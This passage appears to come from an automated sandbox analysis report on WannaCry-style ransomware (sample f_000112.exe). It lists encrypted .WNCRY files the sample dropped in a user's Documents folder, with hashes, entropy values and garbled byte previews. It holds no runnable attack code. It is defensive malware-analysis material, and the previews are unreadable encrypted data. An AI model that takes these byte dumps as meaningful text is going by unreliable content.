                                                                                                                                                                              Preview:.E...e.o........{....."%.....9G.weF18._....B$leP.........%...ih.q..XYJ...BYd......:..........^,NM...CQ"z...l.i.Rk.....!F....}..U.`..8.A.j...{S.d...5...Z..9.._r%.h...^!J}.30Qm._..4.N&.s.*..AiQ..i4...?."...W..9m..z..&.L.....i...3....."....qB.xcW..........._4......=..2...S....U.K.]_.v.H....Y....qk)..*.4B.eWY....]..[j,.......g..(6...w....G.%...Q......9B...Z..G.v.......Szp..[...A.p.5O.0.o(.s...M.5.:d..... ..*......#5....L.mYV<s7...B..)..H.....[.-U....,#J..7.>.....\9(W;...a.K...nC...p;X.>..|8...T.(H...Nf.5..>L7.UC.L...:/c..1..7.F..*].K..=..R...K+...iiJ..).!.LS.&23..RY..U...[....;%.)~....`t.&.Tc...]v....>.~...P....=..w.%.=W.|..$....9N.In.@..Z.Y.....c)..A.O.7.c.v..[..*j......A....,5.X..Vd.n.P.[._]...x...Q.&...t!{.....$G..8)..a.A..xX.&.MG.o..#...UR.R.t......f.I)Y... T .E{..:.....`..8...V,L....-....D../.v..=!Z.+.0...x...[...Y"....L..@.'....0K....SZ..l.R.....I.......A.N.............,&.....o>....&..X....'=.....Q.KY9T}+W.../.E.......T

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.829609238140224
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkQdkc6+IU+b0TUgiDHC9GyoZJSLbKvSOLpFWMrKQ0wCgv:bkXv0TUpzC+JSLbKqWWMrv0wCgv
                                                                                                                                                                              MD5:77DD2FE256C388EF2CF76583D3ADD59E
                                                                                                                                                                              SHA1:7D7AB239F394D9EA34B918FC8A6D4FE561E0257F
                                                                                                                                                                              SHA-256:F03C91D586D0F0A52EE061F3A7EF576A5B104785A56106F375B99B14D1D3691E
                                                                                                                                                                              SHA-512:CBE47950FBA64700EC6F8BF12DE496F4408739F0F633D4CE33FA1672DA712D7B245E841916DBF6818D99BDA496B8D22309ED9444EBC255AAB4578C9C065D560E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....4.To..9.....OyE..! .9.Y_.l...=}.i......Mid+pB"..W.....k}.....].=...Q..L...j3-Igl>..\CMk@.....t=....k.../....2....h..l...o.j.z&..G..$.9dnwu.7EK.8.e..1`.......NY.H.....".......%..g/"..2...<9Mm..D5P.U.k..t.G../Y.%l.....f...........M.TZTK#.DD*&............F`._~#.u...p.\.sZj.O...k..a.4+..vt...G.R..v.1...... 4U./.f....%l.%A.8S...>..*/...#M^^w..'..>2.<..x-ZS\t.....*T...c......e.....=..w........-..!.)EL.D.[....i..u.,[.;.w..../.5f....W......TD.....A.X..k...cIA......kO...2...cZlx0"kpj.......A.......wL6..kb..n.#..ygy....6l..lS.I;....X...4..oafB...iI.....,.hT.p1/.(.>....X.c.Jt...g..6..V.....L..?.|L.b+*...H:......e..#..{.../.P..H.h....|d3.&n;8K..._.O.....ptc7V.ep2;...RG6.IU....H.k..I~".]))H.8.#iM...7.;. .... e.[YOz.cfH9...S.K..h...{...P.*.G..DLM..i....I..+J.p...a.4...Ug$...do...(..=>.u%....a..x8...r.|.w.s.....E..i.......e.%YS.w..1..Jb.......,Rg(....B\.H.".....ls,..j..[...(...=[)xu..*c...hD...jQ..#e..U..[.d.......b.d2.u.AS....R....Y.z.

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.829609238140224
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkQdkc6+IU+b0TUgiDHC9GyoZJSLbKvSOLpFWMrKQ0wCgv:bkXv0TUpzC+JSLbKqWWMrv0wCgv
                                                                                                                                                                              MD5:77DD2FE256C388EF2CF76583D3ADD59E
                                                                                                                                                                              SHA1:7D7AB239F394D9EA34B918FC8A6D4FE561E0257F
                                                                                                                                                                              SHA-256:F03C91D586D0F0A52EE061F3A7EF576A5B104785A56106F375B99B14D1D3691E
                                                                                                                                                                              SHA-512:CBE47950FBA64700EC6F8BF12DE496F4408739F0F633D4CE33FA1672DA712D7B245E841916DBF6818D99BDA496B8D22309ED9444EBC255AAB4578C9C065D560E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....4.To..9.....OyE..! .9.Y_.l...=}.i......Mid+pB"..W.....k}.....].=...Q..L...j3-Igl>..\CMk@.....t=....k.../....2....h..l...o.j.z&..G..$.9dnwu.7EK.8.e..1`.......NY.H.....".......%..g/"..2...<9Mm..D5P.U.k..t.G../Y.%l.....f...........M.TZTK#.DD*&............F`._~#.u...p.\.sZj.O...k..a.4+..vt...G.R..v.1...... 4U./.f....%l.%A.8S...>..*/...#M^^w..'..>2.<..x-ZS\t.....*T...c......e.....=..w........-..!.)EL.D.[....i..u.,[.;.w..../.5f....W......TD.....A.X..k...cIA......kO...2...cZlx0"kpj.......A.......wL6..kb..n.#..ygy....6l..lS.I;....X...4..oafB...iI.....,.hT.p1/.(.>....X.c.Jt...g..6..V.....L..?.|L.b+*...H:......e..#..{.../.P..H.h....|d3.&n;8K..._.O.....ptc7V.ep2;...RG6.IU....H.k..I~".]))H.8.#iM...7.;. .... e.[YOz.cfH9...S.K..h...{...P.*.G..DLM..i....I..+J.p...a.4...Ug$...do...(..=>.u%....a..x8...r.|.w.s.....E..i.......e.%YS.w..1..Jb.......,Rg(....B\.H.".....ls,..j..[...(...=[)xu..*c...hD...jQ..#e..U..[.d.......b.d2.u.AS....R....Y.z.

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.844773878837251
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:0HDUpmSMvPMNKZOBZu+Ohq72nc7P02RqR8S4Nx7yW3UD4p:CqdMvixu+2q7V7c/Mxn2G
                                                                                                                                                                              MD5:2EC91DDF1BE5F68797191D50EF8B5759
                                                                                                                                                                              SHA1:BBD891A4AA6CDD9729F55E8040F292221B7DC1BA
                                                                                                                                                                              SHA-256:AF57DF1920B3CA185EFA85AE47F3CD8C843DB2F9CEED2C7F937B87989EA87358
                                                                                                                                                                              SHA-512:AEA1F881BA13AD516CB2EF5EEA9A5D6F542D4E673C0BFC4F569B8A22F4BDA0C33F990906CFCDFC45B19A8C6C8CD79B3593B44ED4BA21D911983DA9CE30CC56E9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:R.v&.ai.y...^}.~.;.N..!.MW.w.W[.UF..&.......2..YU....i*s..:...7I._P>(R...a6..}n'C.....u..T..P...|C.K..,...R+..2.w...Jg.!V.Y.......!..D......T...Plg....B.{.8.p.&khL...:..aR..},..J6.n.........hB.).j.%..wz..W.d...~b.p..|`cw..`.(...0f...d.n.Fw....FtF.<.-dr...[$'1...R.r..r....j,..u.V.....~....."q..C.S.v...y..JF/.O..l"................m..9.........d..P.......7.!wg......;..Li..h.$.{J.i..v.y.`0....Z...._B......[.....3.l...<Q...s.N._h.f.c...j.O:..P.g.j6..'s..-e.Y.....C....3......x.....p.*Z9g...0.[...#.&V....<$......I..1.uG....+...t7.._.8+@.:.....p..E.{.5...Z..N......5.. ....._.r...YZ..2.3+.w.h.C.BD...=....B.....BK..-.*...|4..<..`..A..o... .1....".9.D.g.y..}.~..b.....m....5u....~W7.........V8...uEY.....9..!..).E..{...m..@...p..I....H.Y..I..~.....Q..9S[...a.Z.-..t.)#_..<..j.Z.....Y.....'.-. ..\..'4k..EQ..t...M..{..f`2.w..e..9Ah../.yH..^...[o^B[...1.]... ..'....eU.l.?.X............Q1b.E]yB...5.*vY.....,......^._...4)s......}1e7x .p.y......A...^8

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853435970187804
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkSx4p7a02zd3DlN/tS7PEZTALxb9uKqF+riTt5OUk/iA/3U6b2g:bkva02zdhN/t+DLxxul0ut5Ohi8Dbt
                                                                                                                                                                              MD5:124B4D4073DD89550B4A9FE3A53D3C9E
                                                                                                                                                                              SHA1:4A08686F3CFB51077AAEE8B263D2DE6AB715B7C6
                                                                                                                                                                              SHA-256:5203B59F6DF3BAD31D08F510F9B99A970BB9B070618B227C37E02A5DF5BA43C9
                                                                                                                                                                              SHA-512:161B6A44E760121A88DAB4834E6C35CEFF6B0B0B4E57173A33D2E12B3C000568379063E19A2979F019A0781FB1DDEFFEBCE19EF58CDB7AD3ECA61AC129FD5EB1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0..w.y6^..ur....5..a.....@.'.oH .i.....D.n...t..`...s.W.zG..b./....U..x..L.!. .I7..g@1...H.TR.s...V.h...(..T.].d.@.McA^........=O...,.H..Q.l...o2....d!09...1.]..._.H._?v.t..b\j.y...,t9....0W=5.G.....J0.....Il:..aK~z...d...r...Sg..$..?..\-.3.6...,................2q*NE@B...f...<.0_"....y.........P>.....p+...U..u.R...kgN.^L........4E....U.B7...7.O5...##..3.N_D.o.=.T..#&a......fU].skH.I).<.|...,.z...1.. cl?M....%..+..#....n..B..2.lK....'m.i.C..K.../....3.@/..JQ.:..N....i.5.3v..=..S..a....1..|....t......AEe.F.9=>....~.e...`........o..l.6..5.m.j..r............=....P..$?..T..4T+.ClX._%.....6...iW.4s.Xo..kS.iT_...y.@'.X.Zc.`..Q....[..L.....TQ([.s........X.9...m..G.'...5......../y...DQ>..S...2.]....1.4p..D...~..5|G8....x.[..v$U_.b...U....Q..ry......i..xTp.8i,.T.L..T.+...#1.........E.qt=`....T...ls....f.9`...`>...\}....hP....8"I....&.&.vX.u~.P.i... ....]0O.Y..,......e..e9..w.m@a............@..R~.][rt.Z..q.^*..{V.M9..?[R.aV......Vv'`~.X.7mx....

                                                                                                                                                                              C:\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853435970187804
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkSx4p7a02zd3DlN/tS7PEZTALxb9uKqF+riTt5OUk/iA/3U6b2g:bkva02zdhN/t+DLxxul0ut5Ohi8Dbt
                                                                                                                                                                              MD5:124B4D4073DD89550B4A9FE3A53D3C9E
                                                                                                                                                                              SHA1:4A08686F3CFB51077AAEE8B263D2DE6AB715B7C6
                                                                                                                                                                              SHA-256:5203B59F6DF3BAD31D08F510F9B99A970BB9B070618B227C37E02A5DF5BA43C9
                                                                                                                                                                              SHA-512:161B6A44E760121A88DAB4834E6C35CEFF6B0B0B4E57173A33D2E12B3C000568379063E19A2979F019A0781FB1DDEFFEBCE19EF58CDB7AD3ECA61AC129FD5EB1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0..w.y6^..ur....5..a.....@.'.oH .i.....D.n...t..`...s.W.zG..b./....U..x..L.!. .I7..g@1...H.TR.s...V.h...(..T.].d.@.McA^........=O...,.H..Q.l...o2....d!09...1.]..._.H._?v.t..b\j.y...,t9....0W=5.G.....J0.....Il:..aK~z...d...r...Sg..$..?..\-.3.6...,................2q*NE@B...f...<.0_"....y.........P>.....p+...U..u.R...kgN.^L........4E....U.B7...7.O5...##..3.N_D.o.=.T..#&a......fU].skH.I).<.|...,.z...1.. cl?M....%..+..#....n..B..2.lK....'m.i.C..K.../....3.@/..JQ.:..N....i.5.3v..=..S..a....1..|....t......AEe.F.9=>....~.e...`........o..l.6..5.m.j..r............=....P..$?..T..4T+.ClX._%.....6...iW.4s.Xo..kS.iT_...y.@'.X.Zc.`..Q....[..L.....TQ([.s........X.9...m..G.'...5......../y...DQ>..S...2.]....1.4p..D...~..5|G8....x.[..v$U_.b...U....Q..ry......i..xTp.8i,.T.L..T.+...#1.........E.qt=`....T...ls....f.9`...`>...\}....hP....8"I....&.&.vX.u~.P.i... ....]0O.Y..,......e..e9..w.m@a............@..R~.][rt.Z..q.^*..{V.M9..?[R.aV......Vv'`~.X.7mx....

                                                                                                                                                                              C:\Users\user\Documents\CZQKSDDMWR.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807727432405694
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:khkd53Ica7vY2X3WUi/e+AAjCDOfZBIyBcfiNDJuhCl53Ns:fdmc5zUiTuDEZZBZNDJuhCLy
                                                                                                                                                                              MD5:9212C8A5529A8610D4E09DFCF49CEEE6
                                                                                                                                                                              SHA1:FB3204CA590D33E5D6BD4CD7FE4A5ADB04E69C77
                                                                                                                                                                              SHA-256:FDB8E4C6962C1716AC8E628C737CE5749795B00682F31EE98E29D3E29A5C8737
                                                                                                                                                                              SHA-512:C7D21382E404A0B666D75DE3E8DE1559379A4365C98180092349086B9CD0BB77653456FBC357E23242395CFD3B1B03FD6869C54CBECEA52587C6BC6B97162A9B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:8.jA...R.K.b-..;:."...d....G.`....,...4..k...D7...*.h3...2.{..%e}....Q.).....y...h....1..u......0(..O.<W.N`..R....O.}.E.k..q......5.......3....~.)Ws7...r....xQ.U._.....O#I..#..c.../..{.YN.<sE.z....&Y......2.....eI6C..C...7D..mjcc.....t...p......l...... Nb.7.:.a.2.N[..a.7.8.ii.W..u..n>..R....&.I....F.....7<.....2..d....<%.OSEK~.........q....{...q.h.P.....Hr...Yh...lV^._...>..............V..O...&o..}..q..ff.!.........IW#gmY...`~.I..l....Q.L.3L.....~..U.C..Oj#B.^h.....g...V....W....c+C]:..<.........^!.7.r...so..|..].Q....S.f...cq.z.....S6.X.....?Q../...z..4(].q.....3QWv.....w"...c.:....-/....V.U...SI.UM.^."ADaA...$G....).R...3..:....7...(..sZ.._`...m..2..O.U[.6....m~.)._.7U...........d....t.P..j.ac".1...9,1$t.p.#...w.&..-.G..V.......0..$..s..,...-..<..........&.^......+..B.t.H....m..U/o.d..S.d-.ET..E.....\.........3........M.......J...c...aY\.l....b.......5..';..uB"E..*..A....)...it..9....xU.....k.k.x...$jay......../...U.....Q.7.Ut%..P}.|.

                                                                                                                                                                              C:\Users\user\Documents\CZQKSDDMWR.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.863534980127692
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOdkbO3Gd0FlVyDQShVqH3OsuwXQT57SGIeIqr2xtj:bkVa3W0FlAUOsRXQ1WG532xtj
                                                                                                                                                                              MD5:A86E11839A1C8135AE393DB2E217A7B9
                                                                                                                                                                              SHA1:5FD078AEA818D0042D06F115A3512D8DA5CA9E74
                                                                                                                                                                              SHA-256:4FA3AAD537873CD69B4F90F790E7F71193A49FD65B2709757DA5EF56AD4E8649
                                                                                                                                                                              SHA-512:6964301D65F5AF49C4FF8400FD7F1170AFB13D833B2D4EDC3B3359447B42240344E153321F329DF78A6C711D335FC1A94557BACD9121991A780894A014DF6293
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...../.....Rb.}.......R...^r*.4.#m.D.......n+.D..z............#..0.....^..Z>-s.`..n.q....o..x!.9+b.........q..HZ.6.BP5ty....l...:M..A.R...i...K.X..1r.o..RIy.F.......(k.......Z...f..l..j.ib....]91.9.5I....y.%.p.d........H..Z..P......p....q.p../5...............Z.j@O.x$..r{.|.D.....B.?x..:.QFV\ub"U...r_#.[d..........^.%M..t.y.{...ufFw.u...k...Y.b....e..Wj.E..Go/S...y.E.7.G..5#...?.......G......... $b...Q4..\.?.r...W<v.+..%...J..g.. .....N..B.....}.=n...h+.WH......._w.eY............s.x....G..Cl.e<+3.L.mv.J&..u.}.J..m.....t.......g....z..N..+HW.....s1@...b'*......<`.0..XNP.4aW.g.M.{.']u.&..h{.*6A-.mG......N....o5.n.Q..eD..z.}cN.^H?.+...... t...^.>....\....@.P.......(..k.......j.:>C<c...I2..R......1.(^.@....6/'.....HZ..N1`i.....l.9!`.....b..,.r ...:0..7W.G&.(.t...u..):.... .S.x...2..L....1/..w...=..."......+A+..K.....(E./6K.C...F.-:.rW..O)U./..Mt....J..YM..K..~.;.../.F....'..|..,......c.d;xH..{+.A. ....>..K.l.mB..~.UY./....68f.

                                                                                                                                                                              C:\Users\user\Documents\CZQKSDDMWR.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.863534980127692
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOdkbO3Gd0FlVyDQShVqH3OsuwXQT57SGIeIqr2xtj:bkVa3W0FlAUOsRXQ1WG532xtj
                                                                                                                                                                              MD5:A86E11839A1C8135AE393DB2E217A7B9
                                                                                                                                                                              SHA1:5FD078AEA818D0042D06F115A3512D8DA5CA9E74
                                                                                                                                                                              SHA-256:4FA3AAD537873CD69B4F90F790E7F71193A49FD65B2709757DA5EF56AD4E8649
                                                                                                                                                                              SHA-512:6964301D65F5AF49C4FF8400FD7F1170AFB13D833B2D4EDC3B3359447B42240344E153321F329DF78A6C711D335FC1A94557BACD9121991A780894A014DF6293
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...../.....Rb.}.......R...^r*.4.#m.D.......n+.D..z............#..0.....^..Z>-s.`..n.q....o..x!.9+b.........q..HZ.6.BP5ty....l...:M..A.R...i...K.X..1r.o..RIy.F.......(k.......Z...f..l..j.ib....]91.9.5I....y.%.p.d........H..Z..P......p....q.p../5...............Z.j@O.x$..r{.|.D.....B.?x..:.QFV\ub"U...r_#.[d..........^.%M..t.y.{...ufFw.u...k...Y.b....e..Wj.E..Go/S...y.E.7.G..5#...?.......G......... $b...Q4..\.?.r...W<v.+..%...J..g.. .....N..B.....}.=n...h+.WH......._w.eY............s.x....G..Cl.e<+3.L.mv.J&..u.}.J..m.....t.......g....z..N..+HW.....s1@...b'*......<`.0..XNP.4aW.g.M.{.']u.&..h{.*6A-.mG......N....o5.n.Q..eD..z.}cN.^H?.+...... t...^.>....\....@.P.......(..k.......j.:>C<c...I2..R......1.(^.@....6/'.....HZ..N1`i.....l.9!`.....b..,.r ...:0..7W.G&.(.t...u..):.... .S.x...2..L....1/..w...=..."......+A+..K.....(E./6K.C...F.-:.rW..O)U./..Mt....J..YM..K..~.;.../.F....'..|..,......c.d;xH..{+.A. ....>..K.l.mB..~.UY./....68f.

                                                                                                                                                                              C:\Users\user\Documents\DUUDTUBZFW.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.799714438608906
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:i802jUsvT4RYzWQQ9TdrO8bu28Tls4eaeUyLVOdsGQw5Nbgt:J02wKYpQOZr5ulsssMmGfTEt
                                                                                                                                                                              MD5:DA7B32B7B5EA61321A0A7D0001259706
                                                                                                                                                                              SHA1:E864AB382D5129A2B5AA88CBE1AEA17FD95DE7BC
                                                                                                                                                                              SHA-256:E14B07F365D527415FD0E33EF59A414A4D43D11E19F8C11CA69AA5DDE15EAB0A
                                                                                                                                                                              SHA-512:C4201F25B5EA1F672185ACE4B46042CCBE8FC896685C5DE1F39A1430CF2BBEE26FD813EA3753FD5CA90611DDA37BF065ABFEFACC254326AA392D8B83737820FF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..8,."..c>.$ ...........k...]8.n.1<q...."j.SfN..<(.u.g.Sa...eu..C..B.W....}.a.bZ.|t.H.Oj....is4.$.V.NK3.s.F.2.j]...;...w.....!.p..z....._2.......,.?..&@q./.w9.A........i...{.h.........!e.*@.b........Y...4J...e6.8....ht...`.Akw.i[..X...&....o...U.4^.QX.D...ou].Ie.4.A..B.;..9..B.Bfm2&>p..e7.......5g|s^.$5..~...`sz.pk..=...E..Q..7...G..C.=g...G.V..D.!:..u;...g....Z4P.l.dGs$.$...i)F.@.JtV....l.[....l.X...r.{.V"../...9Zs....dMaX...fy.Z.%..Y.D.E...........2......f<.t....{..0.......D!..@.....<.r..M_..7i.....U..)....S.N....xfM`3.l...+mK...t.....I'..oj.f.,.,.vbj...`gL..<?.....|Z.q3.............Rx.........w...C/......N..}........@}...v...../.b..L.pg.]..".'kX..X....:.KT{...5{..t.wo..../.|P#?..."S%..tFz$.Q. ...a.|...X..j...XB..@...;.^G.+T...>.#...x.[L.....S..Q.......^a.......!....l5.s.@..k.P.7.[.R.G.y.....5.wr}.f.D.B...&.....o....e..<...ieM..~..#P|.[.c.a...C..Zz...|...U...E..9.5R.Nu..30..zs......XM.b\y...Y..........e\.I....('..1.i..g...j~

                                                                                                                                                                              C:\Users\user\Documents\DUUDTUBZFW.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8291506108868765
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk7k+b8l4fds10COsjvbjztI2FLDSr+qFZ3UioXExPEkq+QJ3H87hLf:bkY+b8qFs1xO+b1bZSaQkioU03i7
                                                                                                                                                                              MD5:85289C54946AD6EF315C9E3BD9EB74ED
                                                                                                                                                                              SHA1:5A83BC53297AC1D974D3E41D2693F798E0009929
                                                                                                                                                                              SHA-256:70156FD3DF37461E139247F58F2E2C072824C1B304344DEF7A0D2E115032FB72
                                                                                                                                                                              SHA-512:B742E0AA0DBD7A66EF0C586159D0AC3030E4FDC9262EDC8B92F96ADCE77319B9611549D4DBE553385346707EFB543ED8B25219173E5AF88AF3AD7E3345836E63
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......G....?d.-*.9.....4.q...$...EiXY...&!{.&.k|.H!|.# j.4..q.v..0X.......BY...<./k(.T^<C...J.....y.G.'..P..gt...I.....j.4A...*C......L..dD.y.......#pNI.0*..m.3..A.{d...H..e..g.Q.&.e.....>a.......o....B..%#.2.!..^.*..i!R.K.;..L.5...\.H....|~p.G................g.N..:t.WhX9.L]LL..q..P.TN[.....".iOH.....<.....K..`.k&.......T.W...6X...4.N/.K.wV.z.}.. sy.a...?d.5....../..Q..<.6.].{.*.{....(p.&\^.....Y...f..8..hY\.(...t..~.......*.[>@.....&fo.=z2....b....7Lm@.Mt......~)...+.#.VR?Qt..\my.G..%.W.9....k.}'....gw...X.@....|...T.g...(..,....$.h..;.kb.....2.....uT...?.*...[.lOl.2..#..k.2..V..g.....1..?>z...'.\0...!......f...q.fC.........8.G#\...c....)...tA/e..X.n.......4.!.r..].4...d...(.rl....<k...)+...H..%..@?.[.Lp5=[...:.j.V......r...Ka....\.......~..lo.....U.. .3..d...n(.%......i...].K.Yq7...q.....'e3.5?....... e?.*.D O.$.4!.Fh...;..3P......T4.UK.C..y..I....d3.....G.1n..C.._j.3.u...|]..N.x...x...#h...J.c|.@...0.x.../R.9..P...,M...G9../@.Z&..E

                                                                                                                                                                              C:\Users\user\Documents\DUUDTUBZFW.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8291506108868765
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk7k+b8l4fds10COsjvbjztI2FLDSr+qFZ3UioXExPEkq+QJ3H87hLf:bkY+b8qFs1xO+b1bZSaQkioU03i7
                                                                                                                                                                              MD5:85289C54946AD6EF315C9E3BD9EB74ED
                                                                                                                                                                              SHA1:5A83BC53297AC1D974D3E41D2693F798E0009929
                                                                                                                                                                              SHA-256:70156FD3DF37461E139247F58F2E2C072824C1B304344DEF7A0D2E115032FB72
                                                                                                                                                                              SHA-512:B742E0AA0DBD7A66EF0C586159D0AC3030E4FDC9262EDC8B92F96ADCE77319B9611549D4DBE553385346707EFB543ED8B25219173E5AF88AF3AD7E3345836E63
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......G....?d.-*.9.....4.q...$...EiXY...&!{.&.k|.H!|.# j.4..q.v..0X.......BY...<./k(.T^<C...J.....y.G.'..P..gt...I.....j.4A...*C......L..dD.y.......#pNI.0*..m.3..A.{d...H..e..g.Q.&.e.....>a.......o....B..%#.2.!..^.*..i!R.K.;..L.5...\.H....|~p.G................g.N..:t.WhX9.L]LL..q..P.TN[.....".iOH.....<.....K..`.k&.......T.W...6X...4.N/.K.wV.z.}.. sy.a...?d.5....../..Q..<.6.].{.*.{....(p.&\^.....Y...f..8..hY\.(...t..~.......*.[>@.....&fo.=z2....b....7Lm@.Mt......~)...+.#.VR?Qt..\my.G..%.W.9....k.}'....gw...X.@....|...T.g...(..,....$.h..;.kb.....2.....uT...?.*...[.lOl.2..#..k.2..V..g.....1..?>z...'.\0...!......f...q.fC.........8.G#\...c....)...tA/e..X.n.......4.!.r..].4...d...(.rl....<k...)+...H..%..@?.[.Lp5=[...:.j.V......r...Ka....\.......~..lo.....U.. .3..d...n(.%......i...].K.Yq7...q.....'e3.5?....... e?.*.D O.$.4!.Fh...;..3P......T4.UK.C..y..I....d3.....G.1n..C.._j.3.u...|]..N.x...x...#h...J.c|.@...0.x.../R.9..P...,M...G9../@.Z&..E

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.8419595566176
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:S/BJknT5PRw4EUcKJRkGE/S/1Hk4QcAgwFwtBv+HKDYgxO9G:SZC5PRwGcKJKd/S/VHAgMwtF+1SUG
                                                                                                                                                                              MD5:BF1CF1D79ED2EC5C29500CE1AD4F0A61
                                                                                                                                                                              SHA1:49F12ADD61B4F41F54DCBA37DC147C6B098406CA
                                                                                                                                                                              SHA-256:27C3CDAAF943850C69FD9DA295FAFCD4B8E6112025572ED0A0C9E467B090C165
                                                                                                                                                                              SHA-512:8E78C8CB85FCF40067EEDB1885E1864CE6ADCACD274A09412AAB821623C5D76F347DE907EDD2A881EA0E65BB904AF750E426BDCFA521CCFC44B74C9C733D49C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
